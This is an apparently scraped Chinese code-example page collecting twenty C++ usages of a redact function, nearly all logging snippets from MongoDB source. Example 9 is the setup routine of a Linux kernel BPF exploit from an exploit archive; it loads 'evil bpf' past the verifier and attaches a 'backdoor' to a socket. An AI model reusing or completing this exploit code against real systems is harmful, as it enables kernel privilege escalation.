本文整理汇总了C++中redact函数的典型用法代码示例。如果您正苦于以下问题:C++ redact函数的具体用法?C++ redact怎么用?C++ redact使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了redact函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: writeConflictRetry
OpTimeWithHash BackgroundSync::_readLastAppliedOpTimeWithHash(OperationContext* opCtx) {
BSONObj oplogEntry;
try {
bool success = writeConflictRetry(
opCtx, "readLastAppliedHash", NamespaceString::kRsOplogNamespace.ns(), [&] {
Lock::DBLock lk(opCtx, "local", MODE_X);
return Helpers::getLast(
opCtx, NamespaceString::kRsOplogNamespace.ns().c_str(), oplogEntry);
});
if (!success) {
// This can happen when we are to do an initial sync. lastHash will be set
// after the initial sync is complete.
return OpTimeWithHash(0);
}
} catch (const DBException& ex) {
severe() << "Problem reading " << NamespaceString::kRsOplogNamespace.ns() << ": "
<< redact(ex);
fassertFailed(18904);
}
long long hash;
auto status = bsonExtractIntegerField(oplogEntry, kHashFieldName, &hash);
if (!status.isOK()) {
severe() << "Most recent entry in " << NamespaceString::kRsOplogNamespace.ns()
<< " is missing or has invalid \"" << kHashFieldName
<< "\" field. Oplog entry: " << redact(oplogEntry) << ": " << redact(status);
fassertFailed(18902);
}
OplogEntry parsedEntry(oplogEntry);
return OpTimeWithHash(hash, parsedEntry.getOpTime());
}
开发者ID:mpobrien,项目名称:mongo,代码行数:31,代码来源:bgsync.cpp
示例2: conn
void ClusterAggregate::killAllCursors(const std::vector<Strategy::CommandResult>& shardResults) {
// This function must ignore and log all errors. Callers expect a best-effort attempt at
// cleanup without exceptions. If any cursors aren't cleaned up here, they will be cleaned
// up automatically on the shard after 10 minutes anyway.
for (size_t i = 0; i < shardResults.size(); i++) {
try {
BSONObj result = shardResults[i].result;
if (!result["ok"].trueValue()) {
continue;
}
const long long cursor = result["cursor"]["id"].Long();
if (!cursor) {
continue;
}
ScopedDbConnection conn(shardResults[i].target);
conn->killCursor(cursor);
conn.done();
} catch (const DBException& e) {
log() << "Couldn't kill aggregation cursor on shard: " << shardResults[i].target
<< " due to DBException: " << redact(e);
} catch (const std::exception& e) {
log() << "Couldn't kill aggregation cursor on shard: " << shardResults[i].target
<< " due to std::exception: " << redact(e.what());
} catch (...) {
log() << "Couldn't kill aggregation cursor on shard: " << shardResults[i].target
<< " due to non-exception";
}
}
}
开发者ID:ksuarz,项目名称:mongo,代码行数:32,代码来源:cluster_aggregate.cpp
示例3: remapPrivateView
/**
* Remaps the private view from the shared view so that it does not consume too much
* copy-on-write/swap space. Must only be called after the in-memory journal has been flushed
* to disk and applied on top of the shared view.
*
* @param fraction Value between (0, 1] indicating what fraction of the memory to remap.
* Remapping too much or too frequently incurs copy-on-write page fault cost.
*/
static void remapPrivateView(OperationContext* opCtx, double fraction) {
// Remapping private views must occur after WRITETODATAFILES otherwise we wouldn't see any
// newly written data on reads.
invariant(!commitJob.hasWritten());
try {
Timer t;
remapPrivateViewImpl(opCtx, fraction);
stats.curr()->_remapPrivateViewMicros += t.micros();
LOG(4) << "remapPrivateView end";
return;
} catch (DBException& e) {
severe() << "dbexception in remapPrivateView causing immediate shutdown: " << redact(e);
} catch (std::ios_base::failure& e) {
severe() << "ios_base exception in remapPrivateView causing immediate shutdown: "
<< redact(e.what());
} catch (std::bad_alloc& e) {
severe() << "bad_alloc exception in remapPrivateView causing immediate shutdown: "
<< redact(e.what());
} catch (std::exception& e) {
severe() << "exception in remapPrivateView causing immediate shutdown: "
<< redact(e.what());
} catch (...) {
severe() << "unknown exception in remapPrivateView causing immediate shutdown: ";
}
invariant(false);
}
开发者ID:DINKIN,项目名称:mongo,代码行数:37,代码来源:dur.cpp
示例4: startup
/**
* Invoked at server startup. Recovers the database by replaying journal files and then
* starts the durability thread.
*/
void startup(ClockSource* cs, int64_t serverStartMs) {
if (!storageGlobalParams.dur) {
return;
}
journalMakeDir(cs, serverStartMs);
try {
replayJournalFilesAtStartup();
} catch (DBException& e) {
severe() << "dbexception during recovery: " << redact(e);
throw;
} catch (std::exception& e) {
severe() << "std::exception during recovery: " << redact(e.what());
throw;
} catch (...) {
severe() << "exception during recovery";
throw;
}
preallocateFiles();
durableImpl.start(cs, serverStartMs);
DurableInterface::_impl = &durableImpl;
}
开发者ID:DINKIN,项目名称:mongo,代码行数:29,代码来源:dur.cpp
示例5: if
void ShardingEgressMetadataHookForMongos::_saveGLEStats(const BSONObj& metadata,
StringData hostString) {
if (!haveClient()) {
// Client will be present only when write commands are used.
return;
}
auto swShardingMetadata = rpc::ShardingMetadata::readFromMetadata(metadata);
if (swShardingMetadata.getStatus() == ErrorCodes::NoSuchKey) {
return;
} else if (!swShardingMetadata.isOK()) {
warning() << "Got invalid sharding metadata " << redact(swShardingMetadata.getStatus())
<< " metadata object was '" << redact(metadata) << "'";
return;
}
auto shardConn = ConnectionString::parse(hostString.toString());
// If we got the reply from this host, we expect that its 'hostString' must be valid.
if (!shardConn.isOK()) {
severe() << "got bad host string in saveGLEStats: " << hostString;
}
invariantOK(shardConn.getStatus());
auto shardingMetadata = std::move(swShardingMetadata.getValue());
auto& clientInfo = cc();
LOG(4) << "saveGLEStats lastOpTime:" << shardingMetadata.getLastOpTime()
<< " electionId:" << shardingMetadata.getLastElectionId();
ClusterLastErrorInfo::get(clientInfo)
->addHostOpTime(
shardConn.getValue(),
HostOpTime(shardingMetadata.getLastOpTime(), shardingMetadata.getLastElectionId()));
}
开发者ID:DINKIN,项目名称:mongo,代码行数:35,代码来源:sharding_egress_metadata_hook_for_mongos.cpp
示例6: LOG
void CollectionCloner::_finishCallback(const Status& status) {
LOG(1) << "CollectionCloner ns:" << _destNss << " finished with status: " << redact(status);
// Copy the status so we can change it below if needed.
auto finalStatus = status;
bool callCollectionLoader = false;
UniqueLock lk(_mutex);
callCollectionLoader = _collLoader.operator bool();
lk.unlock();
if (callCollectionLoader) {
if (finalStatus.isOK()) {
const auto loaderStatus = _collLoader->commit();
if (!loaderStatus.isOK()) {
warning() << "Failed to commit changes to collection " << _destNss.ns() << ": "
<< redact(loaderStatus);
finalStatus = loaderStatus;
}
}
// This will release the resources held by the loader.
_collLoader.reset();
}
_onCompletion(finalStatus);
lk.lock();
_stats.end = _executor->now();
_progressMeter.finished();
_active = false;
_condition.notify_all();
LOG(1) << " collection: " << _destNss << ", stats: " << _stats.toString();
}
开发者ID:cswanson310,项目名称:mongo,代码行数:29,代码来源:collection_cloner.cpp
示例7: transaction
long long BackgroundSync::_readLastAppliedHash(OperationContext* txn) {
BSONObj oplogEntry;
try {
MONGO_WRITE_CONFLICT_RETRY_LOOP_BEGIN {
ScopedTransaction transaction(txn, MODE_IX);
Lock::DBLock lk(txn->lockState(), "local", MODE_X);
bool success = Helpers::getLast(txn, rsOplogName.c_str(), oplogEntry);
if (!success) {
// This can happen when we are to do an initial sync. lastHash will be set
// after the initial sync is complete.
return 0;
}
}
MONGO_WRITE_CONFLICT_RETRY_LOOP_END(txn, "readLastAppliedHash", rsOplogName);
} catch (const DBException& ex) {
severe() << "Problem reading " << rsOplogName << ": " << redact(ex);
fassertFailed(18904);
}
long long hash;
auto status = bsonExtractIntegerField(oplogEntry, kHashFieldName, &hash);
if (!status.isOK()) {
severe() << "Most recent entry in " << rsOplogName << " is missing or has invalid \""
<< kHashFieldName << "\" field. Oplog entry: " << redact(oplogEntry) << ": "
<< redact(status);
fassertFailed(18902);
}
return hash;
}
开发者ID:gormanb,项目名称:mongo,代码行数:28,代码来源:bgsync.cpp
示例8: onDbVersionMismatch
void onDbVersionMismatch(OperationContext* opCtx,
const StringData dbName,
const DatabaseVersion& clientDbVersion,
const boost::optional<DatabaseVersion>& serverDbVersion) noexcept {
invariant(!opCtx->lockState()->isLocked());
invariant(!opCtx->getClient()->isInDirectClient());
auto const shardingState = ShardingState::get(opCtx);
invariant(shardingState->canAcceptShardedCommands());
if (serverDbVersion && serverDbVersion->getUuid() == clientDbVersion.getUuid() &&
serverDbVersion->getLastMod() >= clientDbVersion.getLastMod()) {
// The client was stale; do not trigger server-side refresh.
return;
}
try {
// TODO SERVER-33773 if the 'waitForMovePrimaryCriticalSection' flag is set on the
// OperationShardingState, wait for the movePrimary critical section to complete before
// attempting a refresh.
} catch (const DBException& ex) {
log() << "Failed to wait for movePrimary critical section to complete "
<< causedBy(redact(ex));
return;
}
try {
forceDatabaseRefresh(opCtx, dbName);
} catch (const DBException& ex) {
log() << "Failed to refresh databaseVersion for database " << dbName
<< causedBy(redact(ex));
}
}
开发者ID:louiswilliams,项目名称:mongo,代码行数:33,代码来源:shard_filtering_metadata_refresh.cpp
示例9: initialize
void
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");
redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}
开发者ID:Simon0105,项目名称:exploit-database,代码行数:33,代码来源:45010.c
示例10: autoColl
Status ShardingStateRecovery::recover(OperationContext* opCtx) {
if (serverGlobalParams.clusterRole != ClusterRole::ShardServer) {
return Status::OK();
}
BSONObj recoveryDocBSON;
try {
AutoGetCollection autoColl(opCtx, NamespaceString::kConfigCollectionNamespace, MODE_IS);
if (!Helpers::findOne(
opCtx, autoColl.getCollection(), RecoveryDocument::getQuery(), recoveryDocBSON)) {
return Status::OK();
}
} catch (const DBException& ex) {
return ex.toStatus();
}
const auto recoveryDocStatus = RecoveryDocument::fromBSON(recoveryDocBSON);
if (!recoveryDocStatus.isOK())
return recoveryDocStatus.getStatus();
const auto recoveryDoc = std::move(recoveryDocStatus.getValue());
log() << "Sharding state recovery process found document " << redact(recoveryDoc.toBSON());
ShardingState* const shardingState = ShardingState::get(opCtx);
invariant(shardingState->enabled());
if (!recoveryDoc.getMinOpTimeUpdaters()) {
// Treat the minOpTime as up-to-date
grid.advanceConfigOpTime(recoveryDoc.getMinOpTime());
return Status::OK();
}
log() << "Sharding state recovery document indicates there were "
<< recoveryDoc.getMinOpTimeUpdaters()
<< " metadata change operations in flight. Contacting the config server primary in order "
"to retrieve the most recent opTime.";
// Need to fetch the latest uptime from the config server, so do a logging write
Status status =
grid.catalogClient(opCtx)->logChange(opCtx,
"Sharding minOpTime recovery",
NamespaceString::kConfigCollectionNamespace.ns(),
recoveryDocBSON,
ShardingCatalogClient::kMajorityWriteConcern);
if (!status.isOK())
return status;
log() << "Sharding state recovered. New config server opTime is " << grid.configOpTime();
// Finally, clear the recovery document so next time we don't need to recover
status = modifyRecoveryDocument(opCtx, RecoveryDocument::Clear, kLocalWriteConcern);
if (!status.isOK()) {
warning() << "Failed to reset sharding state recovery document due to " << redact(status);
}
return Status::OK();
}
开发者ID:bjori,项目名称:mongo,代码行数:59,代码来源:sharding_state_recovery.cpp
示例11: doGetKeys
void AbstractIndexAccessMethod::getKeys(const BSONObj& obj,
GetKeysMode mode,
BSONObjSet* keys,
BSONObjSet* multikeyMetadataKeys,
MultikeyPaths* multikeyPaths) const {
// TODO SERVER-36385: Remove ErrorCodes::KeyTooLong.
static stdx::unordered_set<int> whiteList{ErrorCodes::CannotBuildIndexKeys,
// Btree
ErrorCodes::KeyTooLong,
ErrorCodes::CannotIndexParallelArrays,
// FTS
16732,
16733,
16675,
17261,
17262,
// Hash
16766,
// Haystack
16775,
16776,
// 2dsphere geo
16755,
16756,
// 2d geo
16804,
13067,
13068,
13026,
13027};
try {
doGetKeys(obj, keys, multikeyMetadataKeys, multikeyPaths);
} catch (const AssertionException& ex) {
// Suppress all indexing errors when mode is kRelaxConstraints.
if (mode == GetKeysMode::kEnforceConstraints) {
throw;
}
keys->clear();
if (multikeyPaths) {
multikeyPaths->clear();
}
// Only suppress the errors in the whitelist.
if (whiteList.find(ex.code()) == whiteList.end()) {
throw;
}
// If the document applies to the filter (which means that it should have never been
// indexed), do not supress the error.
const MatchExpression* filter = _btreeState->getFilterExpression();
if (mode == GetKeysMode::kRelaxConstraintsUnfiltered && filter &&
filter->matchesBSON(obj)) {
throw;
}
LOG(1) << "Ignoring indexing error for idempotency reasons: " << redact(ex)
<< " when getting index keys of " << redact(obj);
}
}
开发者ID:ajdavis,项目名称:mongo,代码行数:59,代码来源:index_access_method.cpp
示例12: logCursorsWaiting
static void logCursorsWaiting(RangeDeleteEntry* entry) {
// We always log the first cursors waiting message (so we have cursor ids in the logs).
// After 15 minutes (the cursor timeout period), we start logging additional messages at
// a 1 minute interval.
static const auto kLogCursorsThreshold = Minutes{15};
static const auto kLogCursorsInterval = Minutes{1};
Date_t currentTime = jsTime();
Milliseconds elapsedMillisSinceQueued{0};
// We always log the first message when lastLoggedTime == 0
if (entry->lastLoggedTS != Date_t()) {
if (currentTime > entry->stats.queueStartTS)
elapsedMillisSinceQueued = currentTime - entry->stats.queueStartTS;
// Not logging, threshold not passed
if (elapsedMillisSinceQueued < kLogCursorsThreshold)
return;
Milliseconds elapsedMillisSinceLog{0};
if (currentTime > entry->lastLoggedTS)
elapsedMillisSinceLog = currentTime - entry->lastLoggedTS;
// Not logging, logged a short time ago
if (elapsedMillisSinceLog < kLogCursorsInterval)
return;
}
str::stream cursorList;
for (std::set<CursorId>::const_iterator it = entry->cursorsToWait.begin();
it != entry->cursorsToWait.end();
++it) {
if (it != entry->cursorsToWait.begin())
cursorList << ", ";
cursorList << *it;
}
log() << "waiting for open cursors before removing range "
<< "[" << redact(entry->options.range.minKey) << ", "
<< redact(entry->options.range.maxKey) << ") "
<< "in " << entry->options.range.ns
<< (entry->lastLoggedTS == Date_t()
? string("")
: string(str::stream() << ", elapsed secs: "
<< durationCount<Seconds>(elapsedMillisSinceQueued)))
<< ", cursor ids: [" << string(cursorList) << "]";
entry->lastLoggedTS = currentTime;
}
开发者ID:Machyne,项目名称:mongo,代码行数:49,代码来源:range_deleter.cpp
示例13: catch
MoveTimingHelper::~MoveTimingHelper() {
// even if logChange doesn't throw, bson does
// sigh
try {
if (_to.isValid()) {
_b.append("to", _to.toString());
}
if (_from.isValid()) {
_b.append("from", _from.toString());
}
if (_nextStep != _totalNumSteps) {
_b.append("note", "aborted");
} else {
_b.append("note", "success");
}
if (!_cmdErrmsg->empty()) {
_b.append("errmsg", *_cmdErrmsg);
}
grid.catalogClient(_txn)->logChange(_txn,
str::stream() << "moveChunk." << _where,
_ns,
_b.obj(),
ShardingCatalogClient::kMajorityWriteConcern);
} catch (const std::exception& e) {
warning() << "couldn't record timing for moveChunk '" << _where
<< "': " << redact(e.what());
}
}
开发者ID:Machyne,项目名称:mongo,代码行数:32,代码来源:move_timing_helper.cpp
示例14: whyMessage
StatusWith<DistLockManager::ScopedDistLock> MigrationManager::_getDistLock(
OperationContext* txn, const Migration& migration) {
const std::string whyMessage(str::stream() << "migrating chunk "
<< ChunkRange(migration.chunkInfo.migrateInfo.minKey,
migration.chunkInfo.migrateInfo.maxKey)
.toString()
<< " in "
<< migration.chunkInfo.migrateInfo.ns);
StatusWith<DistLockManager::ScopedDistLock> distLockStatus =
Grid::get(txn)->catalogClient(txn)->distLock(
txn, migration.chunkInfo.migrateInfo.ns, whyMessage);
if (!distLockStatus.isOK()) {
const std::string msg = str::stream()
<< "Could not acquire collection lock for " << migration.chunkInfo.migrateInfo.ns
<< " to migrate chunk " << redact(ChunkRange(migration.chunkInfo.migrateInfo.minKey,
migration.chunkInfo.migrateInfo.maxKey)
.toString())
<< " due to " << distLockStatus.getStatus().toString();
warning() << msg;
return {distLockStatus.getStatus().code(), msg};
}
return std::move(distLockStatus.getValue());
}
开发者ID:archer-bao,项目名称:mongo,代码行数:26,代码来源:migration_manager.cpp
示例15: name
void BackgroundJob::jobBody() {
const string threadName = name();
if (!threadName.empty()) {
setThreadName(threadName);
}
LOG(1) << "BackgroundJob starting: " << threadName;
try {
run();
} catch (const std::exception& e) {
error() << "backgroundjob " << threadName << " exception: " << redact(e.what());
throw;
}
// We must cache this value so that we can use it after we leave the following scope.
const bool selfDelete = _selfDelete;
{
// It is illegal to access any state owned by this BackgroundJob after leaving this
// scope, with the exception of the call to 'delete this' below.
stdx::unique_lock<stdx::mutex> l(_status->mutex);
_status->state = Done;
_status->done.notify_all();
}
if (selfDelete)
delete this;
}
开发者ID:DINKIN,项目名称:mongo,代码行数:29,代码来源:background.cpp
示例16: invariant
void Database::clearTmpCollections(OperationContext* txn) {
invariant(txn->lockState()->isDbLockedForMode(name(), MODE_X));
list<string> collections;
_dbEntry->getCollectionNamespaces(&collections);
for (list<string>::iterator i = collections.begin(); i != collections.end(); ++i) {
string ns = *i;
invariant(NamespaceString::normal(ns));
CollectionCatalogEntry* coll = _dbEntry->getCollectionCatalogEntry(ns);
CollectionOptions options = coll->getCollectionOptions(txn);
if (!options.temp)
continue;
try {
WriteUnitOfWork wunit(txn);
Status status = dropCollection(txn, ns);
if (!status.isOK()) {
warning() << "could not drop temp collection '" << ns << "': " << redact(status);
continue;
}
wunit.commit();
} catch (const WriteConflictException& exp) {
warning() << "could not drop temp collection '" << ns << "' due to "
"WriteConflictException";
txn->recoveryUnit()->abandonSnapshot();
}
}
}
开发者ID:judahschvimer,项目名称:mongo,代码行数:31,代码来源:database.cpp
示例17: getNss
std::string MoveChunkRequest::toString() const {
std::stringstream ss;
ss << "ns: " << getNss().ns() << ", " << redact(ChunkRange(getMinKey(), getMaxKey()).toString())
<< ", fromShard: " << getFromShardId() << ", toShard: " << getToShardId();
return ss.str();
}
开发者ID:EvgeniyPatlan,项目名称:percona-server-mongodb,代码行数:7,代码来源:move_chunk_request.cpp
示例18: _txnClose
void WiredTigerRecoveryUnit::_abort() {
try {
bool notifyDone = !_prepareTimestamp.isNull();
if (_session && _isActive()) {
_txnClose(false);
}
_setState(State::kAborting);
if (MONGO_FAIL_POINT(WTAlwaysNotifyPrepareConflictWaiters)) {
notifyDone = true;
}
if (notifyDone) {
_sessionCache->notifyPreparedUnitOfWorkHasCommittedOrAborted();
}
for (Changes::const_reverse_iterator it = _changes.rbegin(), end = _changes.rend();
it != end;
++it) {
Change* change = it->get();
LOG(2) << "CUSTOM ROLLBACK " << redact(demangleName(typeid(*change)));
change->rollback();
}
_changes.clear();
} catch (...) {
std::terminate();
}
_setState(State::kInactive);
}
开发者ID:ajdavis,项目名称:mongo,代码行数:30,代码来源:wiredtiger_recovery_unit.cpp
示例19: _name
Database::Database(OperationContext* txn, StringData name, DatabaseCatalogEntry* dbEntry)
: _name(name.toString()),
_dbEntry(dbEntry),
_profileName(_name + ".system.profile"),
_indexesName(_name + ".system.indexes"),
_viewsName(_name + "." + DurableViewCatalog::viewsCollectionName().toString()),
_durableViews(DurableViewCatalogImpl(this)),
_views(&_durableViews) {
Status status = validateDBName(_name);
if (!status.isOK()) {
warning() << "tried to open invalid db: " << _name;
uasserted(10028, status.toString());
}
_profile = serverGlobalParams.defaultProfile;
list<string> collections;
_dbEntry->getCollectionNamespaces(&collections);
for (list<string>::const_iterator it = collections.begin(); it != collections.end(); ++it) {
const string ns = *it;
_collections[ns] = _getOrCreateCollectionInstance(txn, ns);
}
// At construction time of the viewCatalog, the _collections map wasn't initialized yet, so no
// system.views collection would be found. Now we're sufficiently initialized, signal a version
// change. Also force a reload, so if there are problems with the catalog contents as might be
// caused by incorrect mongod versions or similar, they are found right away.
_views.invalidate();
Status reloadStatus = _views.reloadIfNeeded(txn);
if (!reloadStatus.isOK()) {
warning() << "Unable to parse views: " << redact(reloadStatus)
<< "; remove any invalid views from the " << _viewsName
<< " collection to restore server functionality." << startupWarningsLog;
}
}
开发者ID:judahschvimer,项目名称:mongo,代码行数:34,代码来源:database.cpp
示例20: log
void NetworkInterfaceASIO::_beginCommunication(AsyncOp* op) {
// The way that we connect connections for the connection pool is by
// starting the callback chain with connect(), but getting off at the first
// _beginCommunication. I.e. all AsyncOp's start off with _inSetup == true
// and arrive here as they're connected and authed. Once they hit here, we
// return to the connection pool's get() callback with _inSetup == false,
// so we can proceed with user operations after they return to this
// codepath.
if (op->_inSetup) {
log() << "Successfully connected to " << op->request().target.toString();
op->_inSetup = false;
op->finish(RemoteCommandResponse());
return;
}
LOG(3) << "Initiating asynchronous command: " << redact(op->request().toString());
auto beginStatus = op->beginCommand(op->request());
if (!beginStatus.isOK()) {
return _completeOperation(op, beginStatus);
}
_asyncRunCommand(op, [this, op](std::error_code ec, size_t bytes) {
_validateAndRun(op, ec, [this, op]() { _completedOpCallback(op); });
});
}
开发者ID:ChineseDr,项目名称:mongo,代码行数:26,代码来源:network_interface_asio_command.cpp
注:本文中的redact函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论